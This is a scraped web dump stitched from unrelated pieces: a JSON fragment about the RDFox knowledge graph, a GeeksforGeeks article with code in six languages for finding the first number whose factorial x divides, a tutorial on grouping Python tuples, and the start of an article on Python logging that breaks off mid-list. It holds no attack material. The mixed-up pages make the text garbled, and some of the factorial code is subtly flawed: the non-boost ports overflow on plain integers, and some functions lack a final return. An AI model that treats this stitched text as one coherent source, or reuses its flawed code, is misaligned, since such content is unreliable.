"text": "If you would like to search for rule-based patterns yourself visit RDFox’s getting started guide."
},
{
"code": null,
"e": 9905,
"s": 9209,
"text": "The team behind Oxford Semantic Technologies started working on RDFox in 2011 at the Computer Science Department of the University of Oxford with the conviction that flexible and high-performance reasoning was a possibility for data extensive applications without jeopardising the correctness of the results. RDFox is the first market-ready knowledge graph designed from ground up with reasoning in mind. Oxford Semantic Technologies is a spin out of the University of Oxford and is backed by leading investors including Samsung Venture Investment Corporation (SVIC), Oxford Sciences Innovation (OSI) and Oxford University’s investment arm (OUI). The author is proud to be a member of this team."
}
] |
Find the first natural number whose factorial is divisible by x - GeeksforGeeks
|
09 Jul, 2021
Given a number x, the task is to find first natural number i whose factorial is divisible by x.Examples :
Input : x = 10
Output : 5
5 is the smallest number such that
(5!) % 10 = 0
Input : x = 16
Output : 6
6 is the smallest number such that
(6!) % 16 = 0
A simple solution is to iterate from 1 to x-1 and for every number i check if i! is divisible by x.
C++
Java
Python3
C#
PHP
Javascript
// A simple C++ program to find first natural// number whose factorial divides x.#include <bits/stdc++.h>using namespace std; // Returns first number whose factorial// divides x.int firstFactorialDivisibleNumber(int x){ int i = 1; // Result int fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i;} // Driver codeint main(void){ int x = 16; cout << firstFactorialDivisibleNumber(x); return 0;}
// A simple Java program to find first natural// number whose factorial divides xclass GFG { // Returns first number whose factorial // divides x. static int firstFactorialDivisibleNumber(int x) { int i = 1; // Result int fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i; } // Driver code public static void main(String[] args) { int x = 16; System.out.print(firstFactorialDivisibleNumber(x)); }} // This code is contributed by Anant Agarwal.
# A simple python program to find# first natural number whose# factorial divides x. # Returns first number whose# factorial divides x.def firstFactorialDivisibleNumber(x): i = 1; # Result fact = 1; for i in range(1, x): fact = fact * i if (fact % x == 0): break return i # Driver codex = 16print(firstFactorialDivisibleNumber(x)) # This code is contributed# by 29AjayKumar
// A simple C# program to find first natural// number whose factorial divides xusing System; class GFG { // Returns first number whose factorial // divides x. static int firstFactorialDivisibleNumber(int x) { int i = 1; // Result int fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i; } // Driver code public static void Main() { int x = 16; Console.Write( firstFactorialDivisibleNumber(x)); }} // This code is contributed by nitin mittal
<?php// A simple PHP program to find// first natural number whose// factorial divides x. // Returns first number whose// factorial divides x.function firstFactorialDivisibleNumber($x){ // Result $i = 1; $fact = 1; for ($i = 1; $i < $x; $i++) { $fact = $fact * $i; if ($fact % $x == 0) break; } return $i;} // Driver code$x = 16;echo(firstFactorialDivisibleNumber($x)); // This code is contributed by Ajit.?>
<script> // A simple Javascript program to find first natural// number whose factorial divides x. // Returns first number whose factorial// divides x.function firstFactorialDivisibleNumber(x){ var i = 1; // Result var fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i;} // Driver codevar x = 16;document.write(firstFactorialDivisibleNumber(x)); // This code is contributed by noob2000.</script>
Output :
6
If we apply this naive approach, we wouldn’t go above 20! or 21! (long long int will have its upper limit).A better solution avoids overflow. The solution is based on below observations.
If i! is divisible by x, then (i+1)!, (i+2)!, ... are also divisible by x.
For a number x, all factorials i! are divisible by x when i >= x.
If a number x is prime, then no factorial below x can divide it as x cannot be formed with multiplication of smaller numbers.
Below is algorithm
1) Run a loop for i = 1 to n-1
a) Remove common factors
new_x /= gcd(i, new_x);
b) Check if we found first i.
if (new_x == 1)
break;
2) Return i
Below is the implementation of above idea :
C++
Java
Python3
C#
PHP
Javascript
// C++ program to find first natural number// whose factorial divides x.#include <bits/stdc++.h>using namespace std; // GCD function to compute the greatest// divisor among a and bint gcd(int a, int b){ if ((a % b) == 0) return b; return gcd(b, a % b);} // Returns first number whose factorial// divides x.int firstFactorialDivisibleNumber(int x){ int i = 1; // Result int new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x /= gcd(i, new_x); // We found first i. if (new_x == 1) break; } return i;} // Driver codeint main(void){ int x = 16; cout << firstFactorialDivisibleNumber(x); return 0;}
// Efficient Java program to find first// natural number whose factorial divides x.class GFG { // GCD function to compute the greatest // divisor among a and b static int gcd(int a, int b) { if ((a % b) == 0) return b; return gcd(b, a % b); } // Returns first number whose factorial // divides x. static int firstFactorialDivisibleNumber(int x) { int i = 1; // Result int new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x /= gcd(i, new_x); // We found first i. if (new_x == 1) break; } return i; } // Driver code public static void main(String[] args) { int x = 16; System.out.print(firstFactorialDivisibleNumber(x)); }}// This code is contributed by Anant Agarwal.
# Python3 program to find first natural number# whose factorial divides x. # GCD function to compute the greatest# divisor among a and bdef gcd(a, b): if ((a % b) == 0): return b return gcd(b, a % b) # Returns first number whose factorial# divides x.def firstFactorialDivisibleNumber(x): i = 1 # Result new_x = x for i in range(1,x): # Remove common factors new_x /= gcd(i, new_x) # We found first i. if (new_x == 1): break return i # Driver codedef main(): x = 16 print(firstFactorialDivisibleNumber(x)) if __name__ == '__main__': main() # This code is contributed by 29AjayKumar
// Efficient C# program to find first// natural number whose factorial// divides x.using System; class GFG { // GCD function to compute the // greatest divisor among a // and b static int gcd(int a, int b) { if ((a % b) == 0) return b; return gcd(b, a % b); } // Returns first number whose // factorial divides x. static int firstFactorialDivisibleNumber( int x) { int i = 1; // Result int new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x /= gcd(i, new_x); // We found first i. if (new_x == 1) break; } return i; } // Driver code public static void Main() { int x = 16; Console.Write( firstFactorialDivisibleNumber(x)); }} // This code is contributed by nitin mittal.
<?php// PHP program to find first// natural number whose// factorial divides x. // GCD function to compute the// greatest divisor among a and bfunction gcd($a, $b){ if (($a % $b) == 0) return $b; return gcd($b, $a % $b);} // Returns first number// whose factorial divides x.function firstFactorialDivisibleNumber($x){ // Result $i = 1; $new_x = $x; for ($i = 1; $i < $x; $i++) { // Remove common factors $new_x /= gcd($i, $new_x); // We found first i. if ($new_x == 1) break; } return $i;} // Driver code$x = 16;echo(firstFactorialDivisibleNumber($x)); // This code is contributed by Ajit.?>
<script> // Efficient Javascript program to find first // natural number whose factorial // divides x. // GCD function to compute the // greatest divisor among a // and b function gcd(a, b) { if ((a % b) == 0) return b; return gcd(b, a % b); } // Returns first number whose // factorial divides x. function firstFactorialDivisibleNumber(x) { let i = 1; // Result let new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x = parseInt(new_x / gcd(i, new_x), 10); // We found first i. if (new_x == 1) break; } return i; } let x = 16; document.write(firstFactorialDivisibleNumber(x)); // This code is contributed by divyeshrabadiya07.</script>
Output :
6
Another approach using boost library: (Thanking ajay0007 for contributing this approach) Here we use boost library to efficiently calculate the value of factorial. Prerequisite :boost-multiprecision-library
C++
Java
Python3
C#
PHP
Javascript
// A cpp program for finding// the Special Factorial Number#include <bits/stdc++.h>#include <boost/multiprecision/cpp_int.hpp> using boost::multiprecision::cpp_int;using namespace std; // function for calculating factorialcpp_int fact(int n){ cpp_int num = 1; for (int i = 1; i <= n; i++) num = num * i; return num;} // function for check Special_Factorial_Numberint Special_Factorial_Number(int k){ for(int i = 1 ; i <= k ; i++ ) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if ( ( fact (i) % k ) == 0 ) { return i; } }} //driver functionint main(){ // taking input int k = 16; cout<<Special_Factorial_Number(k);}
// Java program for finding// the Special Factorial Numberpublic class GFG { // function for calculating factorial static int fact(int n) { int num = 1; for (int i = 1; i <= n; i++) { num = num * i; } return num; } // function for check Special_Factorial_Number static int Special_Factorial_Number(int k) { for (int i = 1; i <= k; i++) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if (fact(i) % k == 0) { return i; } } return 0; } //driver function public static void main(String[] args) { // taking input int k = 16; System.out.println(Special_Factorial_Number(k)); }} /*This code is contributed by Rajput-Ji*/
# Python 3 program for finding# the Special Factorial Number # function for calculating factorialdef fact( n): num = 1 for i in range(1, n + 1): num = num * i return num # function for check Special_Factorial_Numberdef Special_Factorial_Number(k): for i in range(1, k + 1): # call fact function and the # Modulo with k and check # if condition is TRUE then return i if (fact(i) % k == 0): return i return 0 # Driver Codeif __name__ == '__main__': # taking input k = 16 print(Special_Factorial_Number(k)) # This code is contributed by Rajput-Ji
// C# program for finding// the Special Factorial Numberusing System;public class GFG{ // function for calculating factorial static int fact(int n) { int num = 1; for (int i = 1; i <= n; i++) { num = num * i; } return num; } // function for check Special_Factorial_Number static int Special_Factorial_Number(int k) { for (int i = 1; i <= k; i++) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if (fact(i) % k == 0) { return i; } } return 0; } //driver function public static void Main() { // taking input int k = 16; Console.WriteLine(Special_Factorial_Number(k)); }} // This code is contributed by 29AjayKumar
<?php// PHP program for finding// the Special Factorial Number // function for calculating// factorialfunction fact($n){ $num = 1; for ($i = 1; $i <= $n; $i++) $num = $num * $i; return $num;} // function for check// Special_Factorial_Numberfunction Special_Factorial_Number($k){ for($i = 1 ; $i <= $k ; $i++ ) { // call fact function and the // Modulo with k and check // if condition is TRUE // then return i if (( fact ($i) % $k ) == 0 ) { return $i; } }} // Driver Code $k = 16; echo Special_Factorial_Number($k); // This code is contributed by Ajit.?>
<script> // Javascript program for finding the Special Factorial Number // function for calculating factorial function fact(n) { let num = 1; for (let i = 1; i <= n; i++) { num = num * i; } return num; } // function for check Special_Factorial_Number function Special_Factorial_Number(k) { for (let i = 1; i <= k; i++) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if (fact(i) % k == 0) { return i; } } return 0; } // taking input let k = 16; document.write(Special_Factorial_Number(k)); </script>
Output :
6
This article is contributed by Shubham Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
nitin mittal
jit_t
Rajput-Ji
29AjayKumar
noob2000
divyeshrabadiya07
divyesh072019
surinderdawra388
factorial
GCD-LCM
Mathematical
Mathematical
factorial
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Merge two sorted arrays
Modulo Operator (%) in C/C++ with Examples
Prime Numbers
Program to find GCD or HCF of two numbers
Print all possible combinations of r elements in a given array of size n
Sieve of Eratosthenes
Operators in C / C++
Program for factorial of a number
The Knight's tour problem | Backtracking-1
Find minimum number of coins that make a given value
|
[
{
"code": null,
"e": 26815,
"s": 26787,
"text": "\n09 Jul, 2021"
},
{
"code": null,
"e": 26923,
"s": 26815,
"text": "Given a number x, the task is to find first natural number i whose factorial is divisible by x.Examples : "
},
{
"code": null,
"e": 27078,
"s": 26923,
"text": "Input : x = 10\nOutput : 5\n5 is the smallest number such that \n(5!) % 10 = 0\n\nInput : x = 16\nOutput : 6\n6 is the smallest number such that \n(6!) % 16 = 0"
},
{
"code": null,
"e": 27182,
"s": 27080,
"text": "A simple solution is to iterate from 1 to x-1 and for every number i check if i! is divisible by x. "
},
{
"code": null,
"e": 27186,
"s": 27182,
"text": "C++"
},
{
"code": null,
"e": 27191,
"s": 27186,
"text": "Java"
},
{
"code": null,
"e": 27199,
"s": 27191,
"text": "Python3"
},
{
"code": null,
"e": 27202,
"s": 27199,
"text": "C#"
},
{
"code": null,
"e": 27206,
"s": 27202,
"text": "PHP"
},
{
"code": null,
"e": 27217,
"s": 27206,
"text": "Javascript"
},
{
"code": "// A simple C++ program to find first natural// number whose factorial divides x.#include <bits/stdc++.h>using namespace std; // Returns first number whose factorial// divides x.int firstFactorialDivisibleNumber(int x){ int i = 1; // Result int fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i;} // Driver codeint main(void){ int x = 16; cout << firstFactorialDivisibleNumber(x); return 0;}",
"e": 27699,
"s": 27217,
"text": null
},
{
"code": "// A simple Java program to find first natural// number whose factorial divides xclass GFG { // Returns first number whose factorial // divides x. static int firstFactorialDivisibleNumber(int x) { int i = 1; // Result int fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i; } // Driver code public static void main(String[] args) { int x = 16; System.out.print(firstFactorialDivisibleNumber(x)); }} // This code is contributed by Anant Agarwal.",
"e": 28299,
"s": 27699,
"text": null
},
{
"code": "# A simple python program to find# first natural number whose# factorial divides x. # Returns first number whose# factorial divides x.def firstFactorialDivisibleNumber(x): i = 1; # Result fact = 1; for i in range(1, x): fact = fact * i if (fact % x == 0): break return i # Driver codex = 16print(firstFactorialDivisibleNumber(x)) # This code is contributed# by 29AjayKumar",
"e": 28709,
"s": 28299,
"text": null
},
{
"code": "// A simple C# program to find first natural// number whose factorial divides xusing System; class GFG { // Returns first number whose factorial // divides x. static int firstFactorialDivisibleNumber(int x) { int i = 1; // Result int fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i; } // Driver code public static void Main() { int x = 16; Console.Write( firstFactorialDivisibleNumber(x)); }} // This code is contributed by nitin mittal",
"e": 29316,
"s": 28709,
"text": null
},
{
"code": "<?php// A simple PHP program to find// first natural number whose// factorial divides x. // Returns first number whose// factorial divides x.function firstFactorialDivisibleNumber($x){ // Result $i = 1; $fact = 1; for ($i = 1; $i < $x; $i++) { $fact = $fact * $i; if ($fact % $x == 0) break; } return $i;} // Driver code$x = 16;echo(firstFactorialDivisibleNumber($x)); // This code is contributed by Ajit.?>",
"e": 29771,
"s": 29316,
"text": null
},
{
"code": "<script> // A simple Javascript program to find first natural// number whose factorial divides x. // Returns first number whose factorial// divides x.function firstFactorialDivisibleNumber(x){ var i = 1; // Result var fact = 1; for (i = 1; i < x; i++) { fact = fact * i; if (fact % x == 0) break; } return i;} // Driver codevar x = 16;document.write(firstFactorialDivisibleNumber(x)); // This code is contributed by noob2000.</script>",
"e": 30250,
"s": 29771,
"text": null
},
{
"code": null,
"e": 30261,
"s": 30250,
"text": "Output : "
},
{
"code": null,
"e": 30263,
"s": 30261,
"text": "6"
},
{
"code": null,
"e": 30452,
"s": 30263,
"text": "If we apply this naive approach, we wouldn’t go above 20! or 21! (long long int will have its upper limit).A better solution avoids overflow. The solution is based on below observations. "
},
{
"code": null,
"e": 30527,
"s": 30452,
"text": "If i! is divisible by x, then (i+1)!, (i+2)!, ... are also divisible by x."
},
{
"code": null,
"e": 30593,
"s": 30527,
"text": "For a number x, all factorials i! are divisible by x when i >= x."
},
{
"code": null,
"e": 30719,
"s": 30593,
"text": "If a number x is prime, then no factorial below x can divide it as x cannot be formed with multiplication of smaller numbers."
},
{
"code": null,
"e": 30739,
"s": 30719,
"text": "Below is algorithm "
},
{
"code": null,
"e": 30922,
"s": 30739,
"text": "1) Run a loop for i = 1 to n-1\n \n a) Remove common factors\n new_x /= gcd(i, new_x);\n\n b) Check if we found first i.\n if (new_x == 1)\n break;\n\n2) Return i"
},
{
"code": null,
"e": 30968,
"s": 30922,
"text": "Below is the implementation of above idea : "
},
{
"code": null,
"e": 30972,
"s": 30968,
"text": "C++"
},
{
"code": null,
"e": 30977,
"s": 30972,
"text": "Java"
},
{
"code": null,
"e": 30985,
"s": 30977,
"text": "Python3"
},
{
"code": null,
"e": 30988,
"s": 30985,
"text": "C#"
},
{
"code": null,
"e": 30992,
"s": 30988,
"text": "PHP"
},
{
"code": null,
"e": 31003,
"s": 30992,
"text": "Javascript"
},
{
"code": "// C++ program to find first natural number// whose factorial divides x.#include <bits/stdc++.h>using namespace std; // GCD function to compute the greatest// divisor among a and bint gcd(int a, int b){ if ((a % b) == 0) return b; return gcd(b, a % b);} // Returns first number whose factorial// divides x.int firstFactorialDivisibleNumber(int x){ int i = 1; // Result int new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x /= gcd(i, new_x); // We found first i. if (new_x == 1) break; } return i;} // Driver codeint main(void){ int x = 16; cout << firstFactorialDivisibleNumber(x); return 0;}",
"e": 31692,
"s": 31003,
"text": null
},
{
"code": "// Efficient Java program to find first// natural number whose factorial divides x.class GFG { // GCD function to compute the greatest // divisor among a and b static int gcd(int a, int b) { if ((a % b) == 0) return b; return gcd(b, a % b); } // Returns first number whose factorial // divides x. static int firstFactorialDivisibleNumber(int x) { int i = 1; // Result int new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x /= gcd(i, new_x); // We found first i. if (new_x == 1) break; } return i; } // Driver code public static void main(String[] args) { int x = 16; System.out.print(firstFactorialDivisibleNumber(x)); }}// This code is contributed by Anant Agarwal.",
"e": 32557,
"s": 31692,
"text": null
},
{
"code": " # Python3 program to find first natural number# whose factorial divides x. # GCD function to compute the greatest# divisor among a and bdef gcd(a, b): if ((a % b) == 0): return b return gcd(b, a % b) # Returns first number whose factorial# divides x.def firstFactorialDivisibleNumber(x): i = 1 # Result new_x = x for i in range(1,x): # Remove common factors new_x /= gcd(i, new_x) # We found first i. if (new_x == 1): break return i # Driver codedef main(): x = 16 print(firstFactorialDivisibleNumber(x)) if __name__ == '__main__': main() # This code is contributed by 29AjayKumar",
"e": 33236,
"s": 32557,
"text": null
},
{
"code": "// Efficient C# program to find first// natural number whose factorial// divides x.using System; class GFG { // GCD function to compute the // greatest divisor among a // and b static int gcd(int a, int b) { if ((a % b) == 0) return b; return gcd(b, a % b); } // Returns first number whose // factorial divides x. static int firstFactorialDivisibleNumber( int x) { int i = 1; // Result int new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x /= gcd(i, new_x); // We found first i. if (new_x == 1) break; } return i; } // Driver code public static void Main() { int x = 16; Console.Write( firstFactorialDivisibleNumber(x)); }} // This code is contributed by nitin mittal.",
"e": 34166,
"s": 33236,
"text": null
},
{
"code": "<?php// PHP program to find first// natural number whose// factorial divides x. // GCD function to compute the// greatest divisor among a and bfunction gcd($a, $b){ if (($a % $b) == 0) return $b; return gcd($b, $a % $b);} // Returns first number// whose factorial divides x.function firstFactorialDivisibleNumber($x){ // Result $i = 1; $new_x = $x; for ($i = 1; $i < $x; $i++) { // Remove common factors $new_x /= gcd($i, $new_x); // We found first i. if ($new_x == 1) break; } return $i;} // Driver code$x = 16;echo(firstFactorialDivisibleNumber($x)); // This code is contributed by Ajit.?>",
"e": 34833,
"s": 34166,
"text": null
},
{
"code": "<script> // Efficient Javascript program to find first // natural number whose factorial // divides x. // GCD function to compute the // greatest divisor among a // and b function gcd(a, b) { if ((a % b) == 0) return b; return gcd(b, a % b); } // Returns first number whose // factorial divides x. function firstFactorialDivisibleNumber(x) { let i = 1; // Result let new_x = x; for (i = 1; i < x; i++) { // Remove common factors new_x = parseInt(new_x / gcd(i, new_x), 10); // We found first i. if (new_x == 1) break; } return i; } let x = 16; document.write(firstFactorialDivisibleNumber(x)); // This code is contributed by divyeshrabadiya07.</script>",
"e": 35686,
"s": 34833,
"text": null
},
{
"code": null,
"e": 35697,
"s": 35686,
"text": "Output : "
},
{
"code": null,
"e": 35699,
"s": 35697,
"text": "6"
},
{
"code": null,
"e": 35908,
"s": 35699,
"text": "Another approach using boost library: (Thanking ajay0007 for contributing this approach) Here we use boost library to efficiently calculate the value of factorial. Prerequisite :boost-multiprecision-library "
},
{
"code": null,
"e": 35912,
"s": 35908,
"text": "C++"
},
{
"code": null,
"e": 35917,
"s": 35912,
"text": "Java"
},
{
"code": null,
"e": 35925,
"s": 35917,
"text": "Python3"
},
{
"code": null,
"e": 35928,
"s": 35925,
"text": "C#"
},
{
"code": null,
"e": 35932,
"s": 35928,
"text": "PHP"
},
{
"code": null,
"e": 35943,
"s": 35932,
"text": "Javascript"
},
{
"code": "// A cpp program for finding// the Special Factorial Number#include <bits/stdc++.h>#include <boost/multiprecision/cpp_int.hpp> using boost::multiprecision::cpp_int;using namespace std; // function for calculating factorialcpp_int fact(int n){ cpp_int num = 1; for (int i = 1; i <= n; i++) num = num * i; return num;} // function for check Special_Factorial_Numberint Special_Factorial_Number(int k){ for(int i = 1 ; i <= k ; i++ ) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if ( ( fact (i) % k ) == 0 ) { return i; } }} //driver functionint main(){ // taking input int k = 16; cout<<Special_Factorial_Number(k);}",
"e": 36717,
"s": 35943,
"text": null
},
{
"code": "// Java program for finding// the Special Factorial Numberpublic class GFG { // function for calculating factorial static int fact(int n) { int num = 1; for (int i = 1; i <= n; i++) { num = num * i; } return num; } // function for check Special_Factorial_Number static int Special_Factorial_Number(int k) { for (int i = 1; i <= k; i++) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if (fact(i) % k == 0) { return i; } } return 0; } //driver function public static void main(String[] args) { // taking input int k = 16; System.out.println(Special_Factorial_Number(k)); }} /*This code is contributed by Rajput-Ji*/",
"e": 37554,
"s": 36717,
"text": null
},
{
"code": "# Python 3 program for finding# the Special Factorial Number # function for calculating factorialdef fact( n): num = 1 for i in range(1, n + 1): num = num * i return num # function for check Special_Factorial_Numberdef Special_Factorial_Number(k): for i in range(1, k + 1): # call fact function and the # Modulo with k and check # if condition is TRUE then return i if (fact(i) % k == 0): return i return 0 # Driver Codeif __name__ == '__main__': # taking input k = 16 print(Special_Factorial_Number(k)) # This code is contributed by Rajput-Ji",
"e": 38187,
"s": 37554,
"text": null
},
{
"code": "// C# program for finding// the Special Factorial Numberusing System;public class GFG{ // function for calculating factorial static int fact(int n) { int num = 1; for (int i = 1; i <= n; i++) { num = num * i; } return num; } // function for check Special_Factorial_Number static int Special_Factorial_Number(int k) { for (int i = 1; i <= k; i++) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if (fact(i) % k == 0) { return i; } } return 0; } //driver function public static void Main() { // taking input int k = 16; Console.WriteLine(Special_Factorial_Number(k)); }} // This code is contributed by 29AjayKumar",
"e": 39022,
"s": 38187,
"text": null
},
{
"code": "<?php// PHP program for finding// the Special Factorial Number // function for calculating// factorialfunction fact($n){ $num = 1; for ($i = 1; $i <= $n; $i++) $num = $num * $i; return $num;} // function for check// Special_Factorial_Numberfunction Special_Factorial_Number($k){ for($i = 1 ; $i <= $k ; $i++ ) { // call fact function and the // Modulo with k and check // if condition is TRUE // then return i if (( fact ($i) % $k ) == 0 ) { return $i; } }} // Driver Code $k = 16; echo Special_Factorial_Number($k); // This code is contributed by Ajit.?>",
"e": 39697,
"s": 39022,
"text": null
},
{
"code": "<script> // Javascript program for finding the Special Factorial Number // function for calculating factorial function fact(n) { let num = 1; for (let i = 1; i <= n; i++) { num = num * i; } return num; } // function for check Special_Factorial_Number function Special_Factorial_Number(k) { for (let i = 1; i <= k; i++) { // call fact function and the // Modulo with k and check // if condition is TRUE then return i if (fact(i) % k == 0) { return i; } } return 0; } // taking input let k = 16; document.write(Special_Factorial_Number(k)); </script>",
"e": 40428,
"s": 39697,
"text": null
},
{
"code": null,
"e": 40439,
"s": 40428,
"text": "Output : "
},
{
"code": null,
"e": 40441,
"s": 40439,
"text": "6"
},
{
"code": null,
"e": 40863,
"s": 40441,
"text": "This article is contributed by Shubham Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. "
},
{
"code": null,
"e": 40876,
"s": 40863,
"text": "nitin mittal"
},
{
"code": null,
"e": 40882,
"s": 40876,
"text": "jit_t"
},
{
"code": null,
"e": 40892,
"s": 40882,
"text": "Rajput-Ji"
},
{
"code": null,
"e": 40904,
"s": 40892,
"text": "29AjayKumar"
},
{
"code": null,
"e": 40913,
"s": 40904,
"text": "noob2000"
},
{
"code": null,
"e": 40931,
"s": 40913,
"text": "divyeshrabadiya07"
},
{
"code": null,
"e": 40945,
"s": 40931,
"text": "divyesh072019"
},
{
"code": null,
"e": 40962,
"s": 40945,
"text": "surinderdawra388"
},
{
"code": null,
"e": 40972,
"s": 40962,
"text": "factorial"
},
{
"code": null,
"e": 40980,
"s": 40972,
"text": "GCD-LCM"
},
{
"code": null,
"e": 40993,
"s": 40980,
"text": "Mathematical"
},
{
"code": null,
"e": 41006,
"s": 40993,
"text": "Mathematical"
},
{
"code": null,
"e": 41016,
"s": 41006,
"text": "factorial"
},
{
"code": null,
"e": 41114,
"s": 41016,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 41138,
"s": 41114,
"text": "Merge two sorted arrays"
},
{
"code": null,
"e": 41181,
"s": 41138,
"text": "Modulo Operator (%) in C/C++ with Examples"
},
{
"code": null,
"e": 41195,
"s": 41181,
"text": "Prime Numbers"
},
{
"code": null,
"e": 41237,
"s": 41195,
"text": "Program to find GCD or HCF of two numbers"
},
{
"code": null,
"e": 41310,
"s": 41237,
"text": "Print all possible combinations of r elements in a given array of size n"
},
{
"code": null,
"e": 41332,
"s": 41310,
"text": "Sieve of Eratosthenes"
},
{
"code": null,
"e": 41353,
"s": 41332,
"text": "Operators in C / C++"
},
{
"code": null,
"e": 41387,
"s": 41353,
"text": "Program for factorial of a number"
},
{
"code": null,
"e": 41430,
"s": 41387,
"text": "The Knight's tour problem | Backtracking-1"
}
] |
Python Group tuples in list with same first value
|
In this tutorial, we are going to write a program that groups all the tuples with the same first element. Let's see an example to understand it clearly.
[(1, 2, 3), (1, 4, 5), (3, 4, 1), (3, 4, 2)]
[(1, 2, 3, 4, 5), (3, 4, 1, 4, 2)]
Let's see the steps to solve the problem.
Initialize the list.
Initialize an empty dictionary.
Iterate over the list of tuples.
Check if the first element of the tuple is present as a key in the dictionary or not.
If it is present, then append the current tuple values without the first one to the previous values.
If not present, then initialize the key with the current tuple elements including the first element.
Print the values of the dict as a list.
Live Demo
# initializing the list
tuples = [(1, 2, 3), (1, 4, 5), (3, 4, 1), (3, 4, 2)]
# empty dict
result = {}
# iterating over the tuples
for sub_tuple in tuples:
# checking the first element of the tuple in the result
if sub_tuple[0] in result:
# adding the current tuple values without first one
result[sub_tuple[0]] = (*result[sub_tuple[0]], *sub_tuple[1:])
else:
# adding the tuple
result[sub_tuple[0]] = sub_tuple
# printing the result in list
print(list(result.values()))
If you run the above code, then you will get the following result.
[(1, 2, 3, 4, 5), (3, 4, 1, 4, 2)]
You can try to solve the problem in different ways. And if you have any doubts in the tutorial, mention them in the comment section.
|
[
{
"code": null,
"e": 1215,
"s": 1062,
"text": "In this tutorial, we are going to write a program that groups all the tuples with the same first element. Let's see an example to understand it clearly."
},
{
"code": null,
"e": 1260,
"s": 1215,
"text": "[(1, 2, 3), (1, 4, 5), (3, 4, 1), (3, 4, 2)]"
},
{
"code": null,
"e": 1295,
"s": 1260,
"text": "[(1, 2, 3, 4, 5), (3, 4, 1, 4, 2)]"
},
{
"code": null,
"e": 1337,
"s": 1295,
"text": "Let's see the steps to solve the problem."
},
{
"code": null,
"e": 1358,
"s": 1337,
"text": "Initialize the list."
},
{
"code": null,
"e": 1390,
"s": 1358,
"text": "Initialize an empty dictionary."
},
{
"code": null,
"e": 1423,
"s": 1390,
"text": "Iterate over the list of tuples."
},
{
"code": null,
"e": 1509,
"s": 1423,
"text": "Check if the first element of the tuple is present as a key in the dictionary or not."
},
{
"code": null,
"e": 1610,
"s": 1509,
"text": "If it is present, then append the current tuple values without the first one to the previous values."
},
{
"code": null,
"e": 1711,
"s": 1610,
"text": "If not present, then initialize the key with the current tuple elements including the first element."
},
{
"code": null,
"e": 1751,
"s": 1711,
"text": "Print the values of the dict as a list."
},
{
"code": null,
"e": 1762,
"s": 1751,
"text": " Live Demo"
},
{
"code": null,
"e": 2266,
"s": 1762,
"text": "# initializing the list\ntuples = [(1, 2, 3), (1, 4, 5), (3, 4, 1), (3, 4, 2)]\n# empty dict\nresult = {}\n# iterating over the tuples\nfor sub_tuple in tuples:\n # checking the first element of the tuple in the result\n if sub_tuple[0] in result:\n # adding the current tuple values without first one\n result[sub_tuple[0]] = (*result[sub_tuple[0]], *sub_tuple[1:])\n else:\n # adding the tuple\n result[sub_tuple[0]] = sub_tuple\n# printing the result in list\nprint(list(result.values()))"
},
{
"code": null,
"e": 2333,
"s": 2266,
"text": "If you run the above code, then you will get the following result."
},
{
"code": null,
"e": 2368,
"s": 2333,
"text": "[(1, 2, 3, 4, 5), (3, 4, 1, 4, 2)]"
},
{
"code": null,
"e": 2501,
"s": 2368,
"text": "You can try to solve the problem in different ways. And if you have any doubts in the tutorial, mention them in the comment section."
}
] |
How to Setup Logging for your Python Notebooks in under 2 Minutes | by Dr. Gregor Scheithauer | Towards Data Science
|
Gregor is a data scientist who loves to solve data riddles. One day, he is given a new project and wants to jump into this new task immediately. He is prepared and a master of his favorite coding tool of choice, knows which packages to use, and already he forms an idea of how to structure the data project. Logging is not on his mind. Not at the start, that is. It dawns on him when most of the code is written and there is only one bug that he tries to pinpoint and find in his code. Once he smashed his bug and rewritten his flawed code, he realizes his code is cluttered with print() statements. He needs to get them out before passing on his solution.
Maybe you can relate to this little scenario. But I learned that there is an easy fix to my shortcoming. I took a bit of time and looked into the standard python logging framework and I will explain it happily here for my future self and, of course, for you.
I will provide us with a copy-paste-logging-code-template to make logging simple. Also, I will share additional information about the three most important logging concepts. The article ends with relevant articles about logging that I found during my research.
Here is the cop- paste template for logging to your console. Find a logging template to set up a log file in section 3 (log handler).
Additional tips
You may change log levels based on your task or state of development, no need to delete print statements after a debugging sessionIt is possible to log statements into different outputs. A file for audit-purposed logging, a console output during development with a debug level, or a console output during production with only warnings and error messages.Try to write meaningful logging statements for other developers and admins that run your code.Whenever possible provide context information, such as a (hashed) user id, session id, so that debugging or error handling is possible
You may change log levels based on your task or state of development, no need to delete print statements after a debugging session
It is possible to log statements into different outputs. A file for audit-purposed logging, a console output during development with a debug level, or a console output during production with only warnings and error messages.
Try to write meaningful logging statements for other developers and admins that run your code.
